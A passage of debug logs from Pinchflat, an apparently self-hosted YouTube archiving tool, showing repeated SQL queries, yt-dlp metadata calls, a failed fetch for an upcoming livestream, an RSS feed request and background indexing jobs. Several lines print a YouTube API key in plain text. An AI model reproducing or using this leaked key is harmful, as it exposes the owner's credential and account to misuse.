"fH_aZFRA5nQ", "J8NEUFlSRhM", "znzyBp8ruMM", "sRkxPi6IOY8", "MYX7D4TPO-I", "7oIIzbP9mLA", "zuBnPJLV8Zs", "96THecfcRbE", "9fkqORqi1wA", "bCkQhwnTpRI", "ZHt7xfhPsPg", "ZYGsrtIqxLA", "u6hjDgVUeTM", "X9cKnBwcpPE", "A0PL0Q5_AhQ", "7HAodxxPnvg", "LOc26tUJziM", "GTsYWE1QSbA", "tE4_YArfkNM", "PJgHERObbLA", "8T-uZpYUv-s", "n13CZ1XVNJI", "7O_jgUrMUs4", "E-79e3z4q1o", "xCiLvge4XXQ", "EB-HgHFEqeg", "wbbAhhj23Bo", "HjKVJeWks5o", "0m183T8j9wc", "3bUgF8AAGRU", "HaSaDehz2lc", "1n9vqO6R734", "7L-_Jzfzj-Y", ...] 16:45:47.915 [debug] QUERY OK source="settings" db=0.0ms idle=165.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:47.915 [debug] QUERY OK source="settings" db=0.0ms idle=165.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:47.915 [debug] Running yt-dlp command for action: get_media_attributes 16:45:47.915 [debug] QUERY OK source="settings" db=0.0ms idle=165.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:47.915 [debug] QUERY OK source="settings" db=0.0ms idle=165.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:47.915 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:47.916 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4e/e1/4ee118c6766ce05cd86279828c83ba9c12c52350a4f3ee415460e206a4512552.json --sleep-requests 80 --sleep-interval 86 --sleep-subtitles 87 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:46:00.412 [info] {"source":"oban","duration":150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:15.018 [info] {"source":"oban","duration":9692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:45.028 [info] {"source":"oban","duration":9743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:51.994 [info] GET /sources/72002b34-c043-42e8-84e7-d0b43eaebbef/feed.xml 16:46:51.994 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "72002b34-c043-42e8-84e7-d0b43eaebbef"} Pipelines: [:maybe_basic_auth] 16:46:51.994 [debug] QUERY OK source="sources" db=0.1ms idle=1300.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["72002b34-c043-42e8-84e7-d0b43eaebbef"] 16:46:52.008 [debug] QUERY OK source="media_items" db=13.2ms idle=1188.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [7, 2000] 16:46:52.068 [debug] QUERY OK source="source_metadata" db=0.1ms idle=374.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [7] 16:46:52.068 [debug] QUERY OK source="media_metadata" db=0.0ms idle=374.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577911] 16:46:52.072 [info] Sent 200 in 78ms 16:47:00.413 [info] {"source":"oban","duration":140,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:09.099 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4e/e1/4ee118c6766ce05cd86279828c83ba9c12c52350a4f3ee415460e206a4512552.json --sleep-requests 80 --sleep-interval 86 --sleep-subtitles 87 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days. 16:47:09.099 [error] Error creating media item 'kvfyuReITgE' from URL: {:error, "ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days.\n", 1} 16:47:09.101 [debug] QUERY OK source="media_items" db=1.2ms idle=1405.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:47:09.102 [debug] QUERY OK source="tasks" db=0.6ms idle=1278.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268317, 37, ~U[2026-10-09 21:47:09Z], ~U[2026-10-09 21:47:09Z]] 16:47:09.103 [info] {"args":{"id":37},"id":5268277,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":81353321,"event":"job:stop","queue_time":254977,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:15.038 [info] {"source":"oban","duration":9952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:47:28.852 [info] {"args":{"id":36},"id":5268278,"meta":{},"system_time":1791582448852301905,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:28.852 [debug] QUERY OK source="sources" db=0.1ms idle=158.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 16:47:28.852 [debug] QUERY OK source="settings" db=0.0ms idle=158.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:28.853 [debug] QUERY OK source="media_profiles" db=0.1ms idle=158.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:28.853 [debug] QUERY OK source="settings" db=0.5ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:28.853 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 16:47:28.853 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:28.853 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:29.223 [debug] QUERY OK source="media_items" db=0.7ms idle=370.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", "kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 16:47:29.225 [debug] QUERY OK source="media_items" db=0.8ms idle=371.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:47:29.225 [debug] QUERY OK source="tasks" db=0.1ms idle=371.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268318, 36, ~U[2026-10-09 21:47:29Z], ~U[2026-10-09 21:47:29Z]] 16:47:29.225 [info] {"args":{"id":36},"id":5268278,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":373455,"event":"job:stop","queue_time":400518,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:29.853 [info] {"args":{"id":2},"id":5268279,"meta":{},"system_time":1791582449853136525,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:29.853 [debug] QUERY OK source="sources" db=0.1ms idle=627.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:47:29.853 [debug] QUERY OK source="settings" db=0.1ms idle=627.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:29.853 [debug] QUERY OK source="media_profiles" db=0.1ms idle=621.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:29.854 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:29.854 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:47:29.854 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:29.854 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:30.003 [debug] QUERY OK source="media_items" db=0.6ms idle=149.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", "WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 16:47:30.006 [debug] QUERY OK source="media_items" db=2.7ms idle=150.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:47:30.007 [debug] QUERY OK source="tasks" db=0.1ms idle=152.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268319, 2, ~U[2026-10-09 21:47:30Z], ~U[2026-10-09 21:47:30Z]] 16:47:30.007 [info] {"args":{"id":2},"id":5268279,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":154297,"event":"job:stop","queue_time":324249,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:30.854 [info] {"args":{"id":22},"id":5268280,"meta":{},"system_time":1791582450854207246,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:30.854 [info] {"args":{"id":10},"id":5268281,"meta":{},"system_time":1791582450854256307,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:30.854 [debug] QUERY OK source="sources" db=0.1ms idle=847.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:47:30.854 [debug] QUERY OK source="sources" db=0.1ms idle=846.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:47:30.854 [debug] QUERY OK source="settings" db=0.0ms idle=840.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:30.854 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:30.854 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:30.854 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:30.855 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:30.855 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:47:30.855 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:30.855 [debug] Fetching recent media IDs from YouTube API 